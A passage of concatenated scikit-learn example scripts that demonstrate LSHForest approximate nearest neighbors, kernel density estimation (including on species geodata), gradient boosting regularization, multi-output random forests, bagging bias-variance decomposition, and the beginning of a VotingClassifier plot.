plt.show()






"""
=================================================
Hyper-parameters of Approximate Nearest Neighbors
=================================================

This example demonstrates the behaviour of the
accuracy of the nearest neighbor queries of Locality Sensitive Hashing
Forest as the number of candidates and the number of estimators (trees)
vary.

In the first plot, accuracy is measured with the number of candidates. Here,
the term "number of candidates" refers to maximum bound for the number of
distinct points retrieved from each tree to calculate the distances. Nearest
neighbors are selected from this pool of candidates. Number of estimators is
maintained at three fixed levels (1, 5, 10).

In the second plot, the number of candidates is fixed at 50. Number of trees
is varied and the accuracy is plotted against those values. To measure the
accuracy, the true nearest neighbors are required, therefore
:class:`sklearn.neighbors.NearestNeighbors` is used to compute the exact
neighbors.
"""
from __future__ import division
print(__doc__)

# Author: Maheshakya Wijewardena <maheshakya.10@cse.mrt.ac.lk>
#
# License: BSD 3 clause


###############################################################################
import numpy as np
from sklearn.datasets.samples_generator import make_blobs
from sklearn.neighbors import LSHForest
from sklearn.neighbors import NearestNeighbors
import matplotlib.pyplot as plt


# Initialize size of the database, iterations and required neighbors.
n_samples = 10000
n_features = 100
n_queries = 30
rng = np.random.RandomState(42)

# Generate sample data
X, _ = make_blobs(n_samples=n_samples + n_queries,
                  n_features=n_features, centers=10,
                  random_state=0)
X_index = X[:n_samples]
X_query = X[n_samples:]
# Get exact neighbors
nbrs = NearestNeighbors(n_neighbors=1, algorithm='brute',
                        metric='cosine').fit(X_index)
neighbors_exact = nbrs.kneighbors(X_query, return_distance=False)

# Set `n_candidate` values
n_candidates_values = np.linspace(10, 500, 5).astype(np.int)
n_estimators_for_candidate_value = [1, 5, 10]
n_iter = 10
stds_accuracies = np.zeros((len(n_estimators_for_candidate_value),
                            n_candidates_values.shape[0]),
                           dtype=float)
accuracies_c = np.zeros((len(n_estimators_for_candidate_value),
                         n_candidates_values.shape[0]), dtype=float)

# LSH Forest is a stochastic index: perform several iteration to estimate
# expected accuracy and standard deviation displayed as error bars in
# the plots
for j, value in enumerate(n_estimators_for_candidate_value):
    for i, n_candidates in enumerate(n_candidates_values):
        accuracy_c = []
        for seed in range(n_iter):
            lshf = LSHForest(n_estimators=value,
                             n_candidates=n_candidates, n_neighbors=1,
                             random_state=seed)
            # Build the LSH Forest index
            lshf.fit(X_index)
            # Get neighbors
            neighbors_approx = lshf.kneighbors(X_query,
                                               return_distance=False)
            accuracy_c.append(np.sum(np.equal(neighbors_approx,
                                              neighbors_exact)) /
                              n_queries)

        stds_accuracies[j, i] = np.std(accuracy_c)
        accuracies_c[j, i] = np.mean(accuracy_c)

# Set `n_estimators` values
n_estimators_values = [1, 5, 10, 20, 30, 40, 50]
accuracies_trees = np.zeros(len(n_estimators_values), dtype=float)

# Calculate average accuracy for each value of `n_estimators`
for i, n_estimators in enumerate(n_estimators_values):
    lshf = LSHForest(n_estimators=n_estimators, n_neighbors=1)
    # Build the LSH Forest index
    lshf.fit(X_index)
    # Get neighbors
    neighbors_approx = lshf.kneighbors(X_query, return_distance=False)
    accuracies_trees[i] = np.sum(np.equal(neighbors_approx,
                                          neighbors_exact))/n_queries

###############################################################################
# Plot the accuracy variation with `n_candidates`
plt.figure()
colors = ['c', 'm', 'y']
for i, n_estimators in enumerate(n_estimators_for_candidate_value):
    label = 'n_estimators = %d ' % n_estimators
    plt.plot(n_candidates_values, accuracies_c[i, :],
             'o-', c=colors[i], label=label)
    plt.errorbar(n_candidates_values, accuracies_c[i, :],
                 stds_accuracies[i, :], c=colors[i])

plt.legend(loc='upper left', prop=dict(size='small'))
plt.ylim([0, 1.2])
plt.xlim(min(n_candidates_values), max(n_candidates_values))
plt.ylabel("Accuracy")
plt.xlabel("n_candidates")
plt.grid(which='both')
plt.title("Accuracy variation with n_candidates")

# Plot the accuracy variation with `n_estimators`
plt.figure()
plt.scatter(n_estimators_values, accuracies_trees, c='k')
plt.plot(n_estimators_values, accuracies_trees, c='g')
plt.ylim([0, 1.2])
plt.xlim(min(n_estimators_values), max(n_estimators_values))
plt.ylabel("Accuracy")
plt.xlabel("n_estimators")
plt.grid(which='both')
plt.title("Accuracy variation with n_estimators")

plt.show()






"""
============================================
Scalability of Approximate Nearest Neighbors
============================================

This example studies the scalability profile of approximate 10-neighbors
queries using the LSHForest with ``n_estimators=20`` and ``n_candidates=200``
when varying the number of samples in the dataset.

The first plot demonstrates the relationship between query time and index size
of LSHForest. Query time is compared with the brute force method in exact
nearest neighbor search for the same index sizes. The brute force queries have a
very predictable linear scalability with the index (full scan). LSHForest index
have sub-linear scalability profile but can be slower for small datasets.

The second plot shows the speedup when using approximate queries vs brute force
exact queries. The speedup tends to increase with the dataset size but should
reach a plateau typically when doing queries on datasets with millions of
samples and a few hundreds of dimensions. Higher dimensional datasets tends to
benefit more from LSHForest indexing.

The break even point (speedup = 1) depends on the dimensionality and structure
of the indexed data and the parameters of the LSHForest index.

The precision of approximate queries should decrease slowly with the dataset
size. The speed of the decrease depends mostly on the LSHForest parameters and
the dimensionality of the data.

"""
from __future__ import division
print(__doc__)

# Authors: Maheshakya Wijewardena <maheshakya.10@cse.mrt.ac.lk>
#          Olivier Grisel <olivier.grisel@ensta.org>
#
# License: BSD 3 clause


###############################################################################
import time
import numpy as np
from sklearn.datasets.samples_generator import make_blobs
from sklearn.neighbors import LSHForest
from sklearn.neighbors import NearestNeighbors
import matplotlib.pyplot as plt

# Parameters of the study
n_samples_min = int(1e3)
n_samples_max = int(1e5)
n_features = 100
n_centers = 100
n_queries = 100
n_steps = 6
n_iter = 5

# Initialize the range of `n_samples`
n_samples_values = np.logspace(np.log10(n_samples_min),
                               np.log10(n_samples_max),
                               n_steps).astype(np.int)

# Generate some structured data
rng = np.random.RandomState(42)
all_data, _ = make_blobs(n_samples=n_samples_max + n_queries,
                         n_features=n_features, centers=n_centers, shuffle=True,
                         random_state=0)
queries = all_data[:n_queries]
index_data = all_data[n_queries:]

# Metrics to collect for the plots
average_times_exact = []
average_times_approx = []
std_times_approx = []
accuracies = []
std_accuracies = []
average_speedups = []
std_speedups = []

# Calculate the average query time
for n_samples in n_samples_values:
    X = index_data[:n_samples]
    # Initialize LSHForest for queries of a single neighbor
    lshf = LSHForest(n_estimators=20, n_candidates=200,
                     n_neighbors=10).fit(X)
    nbrs = NearestNeighbors(algorithm='brute', metric='cosine',
                            n_neighbors=10).fit(X)
    time_approx = []
    time_exact = []
    accuracy = []

    for i in range(n_iter):
        # pick one query at random to study query time variability in LSHForest
        query = queries[[rng.randint(0, n_queries)]]

        t0 = time.time()
        exact_neighbors = nbrs.kneighbors(query, return_distance=False)
        time_exact.append(time.time() - t0)

        t0 = time.time()
        approx_neighbors = lshf.kneighbors(query, return_distance=False)
        time_approx.append(time.time() - t0)

        accuracy.append(np.in1d(approx_neighbors, exact_neighbors).mean())

    average_time_exact = np.mean(time_exact)
    average_time_approx = np.mean(time_approx)
    speedup = np.array(time_exact) / np.array(time_approx)
    average_speedup = np.mean(speedup)
    mean_accuracy = np.mean(accuracy)
    std_accuracy = np.std(accuracy)
    print("Index size: %d, exact: %0.3fs, LSHF: %0.3fs, speedup: %0.1f, "
          "accuracy: %0.2f +/-%0.2f" %
          (n_samples, average_time_exact, average_time_approx, average_speedup,
           mean_accuracy, std_accuracy))

    accuracies.append(mean_accuracy)
    std_accuracies.append(std_accuracy)
    average_times_exact.append(average_time_exact)
    average_times_approx.append(average_time_approx)
    std_times_approx.append(np.std(time_approx))
    average_speedups.append(average_speedup)
    std_speedups.append(np.std(speedup))

# Plot average query time against n_samples
plt.figure()
plt.errorbar(n_samples_values, average_times_approx, yerr=std_times_approx,
             fmt='o-', c='r', label='LSHForest')
plt.plot(n_samples_values, average_times_exact, c='b',
         label="NearestNeighbors(algorithm='brute', metric='cosine')")
plt.legend(loc='upper left', prop=dict(size='small'))
plt.ylim(0, None)
plt.ylabel("Average query time in seconds")
plt.xlabel("n_samples")
plt.grid(which='both')
plt.title("Impact of index size on response time for first "
          "nearest neighbors queries")

# Plot average query speedup versus index size
plt.figure()
plt.errorbar(n_samples_values, average_speedups, yerr=std_speedups,
             fmt='o-', c='r')
plt.ylim(0, None)
plt.ylabel("Average speedup")
plt.xlabel("n_samples")
plt.grid(which='both')
plt.title("Speedup of the approximate NN queries vs brute force")

# Plot average precision versus index size
plt.figure()
plt.errorbar(n_samples_values, accuracies, std_accuracies, fmt='o-', c='c')
plt.ylim(0, 1.1)
plt.ylabel("precision@10")
plt.xlabel("n_samples")
plt.grid(which='both')
plt.title("precision of 10-nearest-neighbors queries with index size")

plt.show()






"""
===================================
Simple 1D Kernel Density Estimation
===================================
This example uses the :class:`sklearn.neighbors.KernelDensity` class to
demonstrate the principles of Kernel Density Estimation in one dimension.

The first plot shows one of the problems with using histograms to visualize
the density of points in 1D. Intuitively, a histogram can be thought of as a
scheme in which a unit "block" is stacked above each point on a regular grid.
As the top two panels show, however, the choice of gridding for these blocks
can lead to wildly divergent ideas about the underlying shape of the density
distribution.  If we instead center each block on the point it represents, we
get the estimate shown in the bottom left panel.  This is a kernel density
estimation with a "top hat" kernel.  This idea can be generalized to other
kernel shapes: the bottom-right panel of the first figure shows a Gaussian
kernel density estimate over the same distribution.

Scikit-learn implements efficient kernel density estimation using either
a Ball Tree or KD Tree structure, through the
:class:`sklearn.neighbors.KernelDensity` estimator.  The available kernels
are shown in the second figure of this example.

The third figure compares kernel density estimates for a distribution of 100
samples in 1 dimension.  Though this example uses 1D distributions, kernel
density estimation is easily and efficiently extensible to higher dimensions
as well.
"""
# Author: Jake Vanderplas <jakevdp@cs.washington.edu>
#
import numpy as np
import matplotlib.pyplot as plt
from scipy.stats import norm
from sklearn.neighbors import KernelDensity


#----------------------------------------------------------------------
# Plot the progression of histograms to kernels
np.random.seed(1)
N = 20
X = np.concatenate((np.random.normal(0, 1, 0.3 * N),
                    np.random.normal(5, 1, 0.7 * N)))[:, np.newaxis]
X_plot = np.linspace(-5, 10, 1000)[:, np.newaxis]
bins = np.linspace(-5, 10, 10)

fig, ax = plt.subplots(2, 2, sharex=True, sharey=True)
fig.subplots_adjust(hspace=0.05, wspace=0.05)

# histogram 1
ax[0, 0].hist(X[:, 0], bins=bins, fc='#AAAAFF', normed=True)
ax[0, 0].text(-3.5, 0.31, "Histogram")

# histogram 2
ax[0, 1].hist(X[:, 0], bins=bins + 0.75, fc='#AAAAFF', normed=True)
ax[0, 1].text(-3.5, 0.31, "Histogram, bins shifted")

# tophat KDE
kde = KernelDensity(kernel='tophat', bandwidth=0.75).fit(X)
log_dens = kde.score_samples(X_plot)
ax[1, 0].fill(X_plot[:, 0], np.exp(log_dens), fc='#AAAAFF')
ax[1, 0].text(-3.5, 0.31, "Tophat Kernel Density")

# Gaussian KDE
kde = KernelDensity(kernel='gaussian', bandwidth=0.75).fit(X)
log_dens = kde.score_samples(X_plot)
ax[1, 1].fill(X_plot[:, 0], np.exp(log_dens), fc='#AAAAFF')
ax[1, 1].text(-3.5, 0.31, "Gaussian Kernel Density")

for axi in ax.ravel():
    axi.plot(X[:, 0], np.zeros(X.shape[0]) - 0.01, '+k')
    axi.set_xlim(-4, 9)
    axi.set_ylim(-0.02, 0.34)

for axi in ax[:, 0]:
    axi.set_ylabel('Normalized Density')

for axi in ax[1, :]:
    axi.set_xlabel('x')

#----------------------------------------------------------------------
# Plot all available kernels
X_plot = np.linspace(-6, 6, 1000)[:, None]
X_src = np.zeros((1, 1))

fig, ax = plt.subplots(2, 3, sharex=True, sharey=True)
fig.subplots_adjust(left=0.05, right=0.95, hspace=0.05, wspace=0.05)


def format_func(x, loc):
    if x == 0:
        return '0'
    elif x == 1:
        return 'h'
    elif x == -1:
        return '-h'
    else:
        return '%ih' % x

for i, kernel in enumerate(['gaussian', 'tophat', 'epanechnikov',
                            'exponential', 'linear', 'cosine']):
    axi = ax.ravel()[i]
    log_dens = KernelDensity(kernel=kernel).fit(X_src).score_samples(X_plot)
    axi.fill(X_plot[:, 0], np.exp(log_dens), '-k', fc='#AAAAFF')
    axi.text(-2.6, 0.95, kernel)

    axi.xaxis.set_major_formatter(plt.FuncFormatter(format_func))
    axi.xaxis.set_major_locator(plt.MultipleLocator(1))
    axi.yaxis.set_major_locator(plt.NullLocator())

    axi.set_ylim(0, 1.05)
    axi.set_xlim(-2.9, 2.9)

ax[0, 1].set_title('Available Kernels')

#----------------------------------------------------------------------
# Plot a 1D density example
N = 100
np.random.seed(1)
X = np.concatenate((np.random.normal(0, 1, 0.3 * N),
                    np.random.normal(5, 1, 0.7 * N)))[:, np.newaxis]

X_plot = np.linspace(-5, 10, 1000)[:, np.newaxis]

true_dens = (0.3 * norm(0, 1).pdf(X_plot[:, 0])
             + 0.7 * norm(5, 1).pdf(X_plot[:, 0]))

fig, ax = plt.subplots()
ax.fill(X_plot[:, 0], true_dens, fc='black', alpha=0.2,
        label='input distribution')

for kernel in ['gaussian', 'tophat', 'epanechnikov']:
    kde = KernelDensity(kernel=kernel, bandwidth=0.5).fit(X)
    log_dens = kde.score_samples(X_plot)
    ax.plot(X_plot[:, 0], np.exp(log_dens), '-',
            label="kernel = '{0}'".format(kernel))

ax.text(6, 0.38, "N={0} points".format(N))

ax.legend(loc='upper left')
ax.plot(X[:, 0], -0.005 - 0.01 * np.random.random(X.shape[0]), '+k')

ax.set_xlim(-4, 9)
ax.set_ylim(-0.02, 0.4)
plt.show()






"""
=========================
Kernel Density Estimation
=========================

This example shows how kernel density estimation (KDE), a powerful
non-parametric density estimation technique, can be used to learn
a generative model for a dataset.  With this generative model in place,
new samples can be drawn.  These new samples reflect the underlying model
of the data.
"""

import numpy as np
import matplotlib.pyplot as plt

from sklearn.datasets import load_digits
from sklearn.neighbors import KernelDensity
from sklearn.decomposition import PCA
from sklearn.model_selection import GridSearchCV

# load the data
digits = load_digits()
data = digits.data

# project the 64-dimensional data to a lower dimension
pca = PCA(n_components=15, whiten=False)
data = pca.fit_transform(digits.data)

# use grid search cross-validation to optimize the bandwidth
params = {'bandwidth': np.logspace(-1, 1, 20)}
grid = GridSearchCV(KernelDensity(), params)
grid.fit(data)

print("best bandwidth: {0}".format(grid.best_estimator_.bandwidth))

# use the best estimator to compute the kernel density estimate
kde = grid.best_estimator_

# sample 44 new points from the data
new_data = kde.sample(44, random_state=0)
new_data = pca.inverse_transform(new_data)

# turn data into a 4x11 grid
new_data = new_data.reshape((4, 11, -1))
real_data = digits.data[:44].reshape((4, 11, -1))

# plot real digits and resampled digits
fig, ax = plt.subplots(9, 11, subplot_kw=dict(xticks=[], yticks=[]))
for j in range(11):
    ax[4, j].set_visible(False)
    for i in range(4):
        im = ax[i, j].imshow(real_data[i, j].reshape((8, 8)),
                             cmap=plt.cm.binary, interpolation='nearest')
        im.set_clim(0, 16)
        im = ax[i + 5, j].imshow(new_data[i, j].reshape((8, 8)),
                                 cmap=plt.cm.binary, interpolation='nearest')
        im.set_clim(0, 16)

ax[0, 5].set_title('Selection from the input data')
ax[5, 5].set_title('"New" digits drawn from the kernel density model')

plt.show()






"""
================================================
Kernel Density Estimate of Species Distributions
================================================
This shows an example of a neighbors-based query (in particular a kernel
density estimate) on geospatial data, using a Ball Tree built upon the
Haversine distance metric -- i.e. distances over points in latitude/longitude.
The dataset is provided by Phillips et. al. (2006).
If available, the example uses
`basemap <http://matplotlib.org/basemap>`_
to plot the coast lines and national boundaries of South America.

This example does not perform any learning over the data
(see :ref:`sphx_glr_auto_examples_applications_plot_species_distribution_modeling.py` for
an example of classification based on the attributes in this dataset).  It
simply shows the kernel density estimate of observed data points in
geospatial coordinates.

The two species are:

 - `"Bradypus variegatus"
   <http://www.iucnredlist.org/apps/redlist/details/3038/0>`_ ,
   the Brown-throated Sloth.

 - `"Microryzomys minutus"
   <http://www.iucnredlist.org/details/13408/0>`_ ,
   also known as the Forest Small Rice Rat, a rodent that lives in Peru,
   Colombia, Ecuador, Peru, and Venezuela.

References
----------

 * `"Maximum entropy modeling of species geographic distributions"
   <http://www.cs.princeton.edu/~schapire/papers/ecolmod.pdf>`_
   S. J. Phillips, R. P. Anderson, R. E. Schapire - Ecological Modelling,
   190:231-259, 2006.
"""
# Author: Jake Vanderplas <jakevdp@cs.washington.edu>
#
# License: BSD 3 clause

import numpy as np
import matplotlib.pyplot as plt
from sklearn.datasets import fetch_species_distributions
from sklearn.datasets.species_distributions import construct_grids
from sklearn.neighbors import KernelDensity

# if basemap is available, we'll use it.
# otherwise, we'll improvise later...
try:
    from mpl_toolkits.basemap import Basemap
    basemap = True
except ImportError:
    basemap = False

# Get matrices/arrays of species IDs and locations
data = fetch_species_distributions()
species_names = ['Bradypus Variegatus', 'Microryzomys Minutus']

Xtrain = np.vstack([data['train']['dd lat'],
                    data['train']['dd long']]).T
ytrain = np.array([d.decode('ascii').startswith('micro')
                  for d in data['train']['species']], dtype='int')
Xtrain *= np.pi / 180.  # Convert lat/long to radians

# Set up the data grid for the contour plot
xgrid, ygrid = construct_grids(data)
X, Y = np.meshgrid(xgrid[::5], ygrid[::5][::-1])
land_reference = data.coverages[6][::5, ::5]
land_mask = (land_reference > -9999).ravel()

xy = np.vstack([Y.ravel(), X.ravel()]).T
xy = xy[land_mask]
xy *= np.pi / 180.

# Plot map of South America with distributions of each species
fig = plt.figure()
fig.subplots_adjust(left=0.05, right=0.95, wspace=0.05)

for i in range(2):
    plt.subplot(1, 2, i + 1)

    # construct a kernel density estimate of the distribution
    print(" - computing KDE in spherical coordinates")
    kde = KernelDensity(bandwidth=0.04, metric='haversine',
                        kernel='gaussian', algorithm='ball_tree')
    kde.fit(Xtrain[ytrain == i])

    # evaluate only on the land: -9999 indicates ocean
    Z = -9999 + np.zeros(land_mask.shape[0])
    Z[land_mask] = np.exp(kde.score_samples(xy))
    Z = Z.reshape(X.shape)

    # plot contours of the density
    levels = np.linspace(0, Z.max(), 25)
    plt.contourf(X, Y, Z, levels=levels, cmap=plt.cm.Reds)

    if basemap:
        print(" - plot coastlines using basemap")
        m = Basemap(projection='cyl', llcrnrlat=Y.min(),
                    urcrnrlat=Y.max(), llcrnrlon=X.min(),
                    urcrnrlon=X.max(), resolution='c')
        m.drawcoastlines()
        m.drawcountries()
    else:
        print(" - plot coastlines from coverage")
        plt.contour(X, Y, land_reference,
                    levels=[-9999], colors="k",
                    linestyles="solid")
        plt.xticks([])
        plt.yticks([])

    plt.title(species_names[i])

plt.show()






"""
================================
Gradient Boosting regularization
================================

Illustration of the effect of different regularization strategies
for Gradient Boosting. The example is taken from Hastie et al 2009.

The loss function used is binomial deviance. Regularization via
shrinkage (``learning_rate < 1.0``) improves performance considerably.
In combination with shrinkage, stochastic gradient boosting
(``subsample < 1.0``) can produce more accurate models by reducing the
variance via bagging.
Subsampling without shrinkage usually does poorly.
Another strategy to reduce the variance is by subsampling the features
analogous to the random splits in Random Forests
(via the ``max_features`` parameter).

.. [1] T. Hastie, R. Tibshirani and J. Friedman, "Elements of Statistical
    Learning Ed. 2", Springer, 2009.
"""
print(__doc__)

# Author: Peter Prettenhofer <peter.prettenhofer@gmail.com>
#
# License: BSD 3 clause

import numpy as np
import matplotlib.pyplot as plt

from sklearn import ensemble
from sklearn import datasets


X, y = datasets.make_hastie_10_2(n_samples=12000, random_state=1)
X = X.astype(np.float32)

# map labels from {-1, 1} to {0, 1}
labels, y = np.unique(y, return_inverse=True)

X_train, X_test = X[:2000], X[2000:]
y_train, y_test = y[:2000], y[2000:]

original_params = {'n_estimators': 1000, 'max_leaf_nodes': 4, 'max_depth': None, 'random_state': 2,
                   'min_samples_split': 5}

plt.figure()

for label, color, setting in [('No shrinkage', 'orange',
                               {'learning_rate': 1.0, 'subsample': 1.0}),
                              ('learning_rate=0.1', 'turquoise',
                               {'learning_rate': 0.1, 'subsample': 1.0}),
                              ('subsample=0.5', 'blue',
                               {'learning_rate': 1.0, 'subsample': 0.5}),
                              ('learning_rate=0.1, subsample=0.5', 'gray',
                               {'learning_rate': 0.1, 'subsample': 0.5}),
                              ('learning_rate=0.1, max_features=2', 'magenta',
                               {'learning_rate': 0.1, 'max_features': 2})]:
    params = dict(original_params)
    params.update(setting)

    clf = ensemble.GradientBoostingClassifier(**params)
    clf.fit(X_train, y_train)

    # compute test set deviance
    test_deviance = np.zeros((params['n_estimators'],), dtype=np.float64)

    for i, y_pred in enumerate(clf.staged_decision_function(X_test)):
        # clf.loss_ assumes that y_test[i] in {0, 1}
        test_deviance[i] = clf.loss_(y_test, y_pred)

    plt.plot((np.arange(test_deviance.shape[0]) + 1)[::5], test_deviance[::5],
            '-', color=color, label=label)

plt.legend(loc='upper left')
plt.xlabel('Boosting Iterations')
plt.ylabel('Test Set Deviance')

plt.show()






"""
============================================================
Comparing random forests and the multi-output meta estimator
============================================================

An example to compare multi-output regression with random forest and
the :ref:`multioutput.MultiOutputRegressor <_multiclass>` meta-estimator.

This example illustrates the use of the
:ref:`multioutput.MultiOutputRegressor <_multiclass>` meta-estimator
to perform multi-output regression. A random forest regressor is used,
which supports multi-output regression natively, so the results can be
compared.

The random forest regressor will only ever predict values within the
range of observations or closer to zero for each of the targets. As a
result the predictions are biased towards the centre of the circle.

Using a single underlying feature the model learns both the
x and y coordinate as output.

"""
print(__doc__)

# Author: Tim Head <betatim@gmail.com>
#
# License: BSD 3 clause

import numpy as np
import matplotlib.pyplot as plt
from sklearn.ensemble import RandomForestRegressor
from sklearn.model_selection import train_test_split
from sklearn.multioutput import MultiOutputRegressor


# Create a random dataset
rng = np.random.RandomState(1)
X = np.sort(200 * rng.rand(600, 1) - 100, axis=0)
y = np.array([np.pi * np.sin(X).ravel(), np.pi * np.cos(X).ravel()]).T
y += (0.5 - rng.rand(*y.shape))

X_train, X_test, y_train, y_test = train_test_split(X, y,
                                                    train_size=400,
                                                    random_state=4)

max_depth = 30
regr_multirf = MultiOutputRegressor(RandomForestRegressor(max_depth=max_depth,
                                                          random_state=0))
regr_multirf.fit(X_train, y_train)

regr_rf = RandomForestRegressor(max_depth=max_depth, random_state=2)
regr_rf.fit(X_train, y_train)

# Predict on new data
y_multirf = regr_multirf.predict(X_test)
y_rf = regr_rf.predict(X_test)

# Plot the results
plt.figure()
s = 50
a = 0.4
plt.scatter(y_test[:, 0], y_test[:, 1],
            c="navy", s=s, marker="s", alpha=a, label="Data")
plt.scatter(y_multirf[:, 0], y_multirf[:, 1],
            c="cornflowerblue", s=s, alpha=a,
            label="Multi RF score=%.2f" % regr_multirf.score(X_test, y_test))
plt.scatter(y_rf[:, 0], y_rf[:, 1],
            c="c", s=s, marker="^", alpha=a,
            label="RF score=%.2f" % regr_rf.score(X_test, y_test))
plt.xlim([-6, 6])
plt.ylim([-6, 6])
plt.xlabel("target 1")
plt.ylabel("target 2")
plt.title("Comparing random forests and the multi-output meta estimator")
plt.legend()
plt.show()






"""
============================================================
Single estimator versus bagging: bias-variance decomposition
============================================================

This example illustrates and compares the bias-variance decomposition of the
expected mean squared error of a single estimator against a bagging ensemble.

In regression, the expected mean squared error of an estimator can be
decomposed in terms of bias, variance and noise. On average over datasets of
the regression problem, the bias term measures the average amount by which the
predictions of the estimator differ from the predictions of the best possible
estimator for the problem (i.e., the Bayes model). The variance term measures
the variability of the predictions of the estimator when fit over different
instances LS of the problem. Finally, the noise measures the irreducible part
of the error which is due the variability in the data.

The upper left figure illustrates the predictions (in dark red) of a single
decision tree trained over a random dataset LS (the blue dots) of a toy 1d
regression problem. It also illustrates the predictions (in light red) of other
single decision trees trained over other (and different) randomly drawn
instances LS of the problem. Intuitively, the variance term here corresponds to
the width of the beam of predictions (in light red) of the individual
estimators. The larger the variance, the more sensitive are the predictions for
`x` to small changes in the training set. The bias term corresponds to the
difference between the average prediction of the estimator (in cyan) and the
best possible model (in dark blue). On this problem, we can thus observe that
the bias is quite low (both the cyan and the blue curves are close to each
other) while the variance is large (the red beam is rather wide).

The lower left figure plots the pointwise decomposition of the expected mean
squared error of a single decision tree. It confirms that the bias term (in
blue) is low while the variance is large (in green). It also illustrates the
noise part of the error which, as expected, appears to be constant and around
`0.01`.

The right figures correspond to the same plots but using instead a bagging
ensemble of decision trees. In both figures, we can observe that the bias term
is larger than in the previous case. In the upper right figure, the difference
between the average prediction (in cyan) and the best possible model is larger
(e.g., notice the offset around `x=2`). In the lower right figure, the bias
curve is also slightly higher than in the lower left figure. In terms of
variance however, the beam of predictions is narrower, which suggests that the
variance is lower. Indeed, as the lower right figure confirms, the variance
term (in green) is lower than for single decision trees. Overall, the bias-
variance decomposition is therefore no longer the same. The tradeoff is better
for bagging: averaging several decision trees fit on bootstrap copies of the
dataset slightly increases the bias term but allows for a larger reduction of
the variance, which results in a lower overall mean squared error (compare the
red curves int the lower figures). The script output also confirms this
intuition. The total error of the bagging ensemble is lower than the total
error of a single decision tree, and this difference indeed mainly stems from a
reduced variance.

For further details on bias-variance decomposition, see section 7.3 of [1]_.

References
----------

.. [1] T. Hastie, R. Tibshirani and J. Friedman,
       "Elements of Statistical Learning", Springer, 2009.

"""
print(__doc__)

# Author: Gilles Louppe <g.louppe@gmail.com>
# License: BSD 3 clause

import numpy as np
import matplotlib.pyplot as plt

from sklearn.ensemble import BaggingRegressor
from sklearn.tree import DecisionTreeRegressor

# Settings
n_repeat = 50       # Number of iterations for computing expectations
n_train = 50        # Size of the training set
n_test = 1000       # Size of the test set
noise = 0.1         # Standard deviation of the noise
np.random.seed(0)

# Change this for exploring the bias-variance decomposition of other
# estimators. This should work well for estimators with high variance (e.g.,
# decision trees or KNN), but poorly for estimators with low variance (e.g.,
# linear models).
estimators = [("Tree", DecisionTreeRegressor()),
              ("Bagging(Tree)", BaggingRegressor(DecisionTreeRegressor()))]

n_estimators = len(estimators)

# Generate data
def f(x):
    x = x.ravel()

    return np.exp(-x ** 2) + 1.5 * np.exp(-(x - 2) ** 2)

def generate(n_samples, noise, n_repeat=1):
    X = np.random.rand(n_samples) * 10 - 5
    X = np.sort(X)

    if n_repeat == 1:
        y = f(X) + np.random.normal(0.0, noise, n_samples)
    else:
        y = np.zeros((n_samples, n_repeat))

        for i in range(n_repeat):
            y[:, i] = f(X) + np.random.normal(0.0, noise, n_samples)

    X = X.reshape((n_samples, 1))

    return X, y

X_train = []
y_train = []

for i in range(n_repeat):
    X, y = generate(n_samples=n_train, noise=noise)
    X_train.append(X)
    y_train.append(y)

X_test, y_test = generate(n_samples=n_test, noise=noise, n_repeat=n_repeat)

# Loop over estimators to compare
for n, (name, estimator) in enumerate(estimators):
    # Compute predictions
    y_predict = np.zeros((n_test, n_repeat))

    for i in range(n_repeat):
        estimator.fit(X_train[i], y_train[i])
        y_predict[:, i] = estimator.predict(X_test)

    # Bias^2 + Variance + Noise decomposition of the mean squared error
    y_error = np.zeros(n_test)

    for i in range(n_repeat):
        for j in range(n_repeat):
            y_error += (y_test[:, j] - y_predict[:, i]) ** 2

    y_error /= (n_repeat * n_repeat)

    y_noise = np.var(y_test, axis=1)
    y_bias = (f(X_test) - np.mean(y_predict, axis=1)) ** 2
    y_var = np.var(y_predict, axis=1)

    print("{0}: {1:.4f} (error) = {2:.4f} (bias^2) "
          " + {3:.4f} (var) + {4:.4f} (noise)".format(name,
                                                      np.mean(y_error),
                                                      np.mean(y_bias),
                                                      np.mean(y_var),
                                                      np.mean(y_noise)))

    # Plot figures
    plt.subplot(2, n_estimators, n + 1)
    plt.plot(X_test, f(X_test), "b", label="$f(x)$")
    plt.plot(X_train[0], y_train[0], ".b", label="LS ~ $y = f(x)+noise$")

    for i in range(n_repeat):
        if i == 0:
            plt.plot(X_test, y_predict[:, i], "r", label="$\^y(x)$")
        else:
            plt.plot(X_test, y_predict[:, i], "r", alpha=0.05)

    plt.plot(X_test, np.mean(y_predict, axis=1), "c",
             label="$\mathbb{E}_{LS} \^y(x)$")

    plt.xlim([-5, 5])
    plt.title(name)

    if n == 0:
        plt.legend(loc="upper left", prop={"size": 11})

    plt.subplot(2, n_estimators, n_estimators + n + 1)
    plt.plot(X_test, y_error, "r", label="$error(x)$")
    plt.plot(X_test, y_bias, "b", label="$bias^2(x)$"),
    plt.plot(X_test, y_var, "g", label="$variance(x)$"),
    plt.plot(X_test, y_noise, "c", label="$noise(x)$")

    plt.xlim([-5, 5])
    plt.ylim([0, 0.1])

    if n == 0:
        plt.legend(loc="upper left", prop={"size": 11})

plt.show()






"""
===========================================================
Plot class probabilities calculated by the VotingClassifier
===========================================================

Plot the class probabilities of the first sample in a toy dataset
predicted by three different classifiers and averaged by the
`VotingClassifier`.

First, three examplary classifiers are initialized (`LogisticRegression`,
`GaussianNB`, and `RandomForestClassifier`) and used to initialize a
soft-voting `VotingClassifier` with weights `[1, 1, 5]`, which means that
the predicted probabilities of the `RandomForestClassifier` count 5 times
as much as the weights of the other classifiers when the averaged probability
is calculated.

To visualize the probability weighting, we fit each classifier on the training
set and plot the predicted class probabilities for the first sample in this
example dataset.

"""
print(__doc__)

import numpy as np
import matplotlib.pyplot as plt

from sklearn.linear_model import LogisticRegression
from sklearn.naive_bayes import GaussianNB
from sklearn.ensemble import RandomForestClassifier
from sklearn.ensemble import VotingClassifier

clf1 = LogisticRegression(random_state=123)
clf2 = RandomForestClassifier(random_state=123)
clf3 = GaussianNB()
X = np.array([[-1.0, -1.0], [-1.2, -1.4], [-3.4, -2.2], [1.1, 1.2]])
y = np.array([1, 1, 2, 2])

eclf = VotingClassifier(estimators=[('lr', clf1), ('rf', clf2), ('gnb', clf3)],
                        voting='soft',
                        weights=[1, 1, 5])

# predict class probabilities for all classifiers
probas = [c.fit(X, y).predict_proba(X) for c in (clf1, clf2, clf3, eclf)]

# get class probabilities for the first sample in the dataset
class1_1 = [pr[0, 0] for pr in probas]
class2_1 = [pr[0, 1] for pr in probas]


# plotting

N = 4  # number of groups
ind = np.arange(N)  # group positions
width = 0.35  # bar width

fig, ax = plt.subplots()

# bars for classifier 1-3
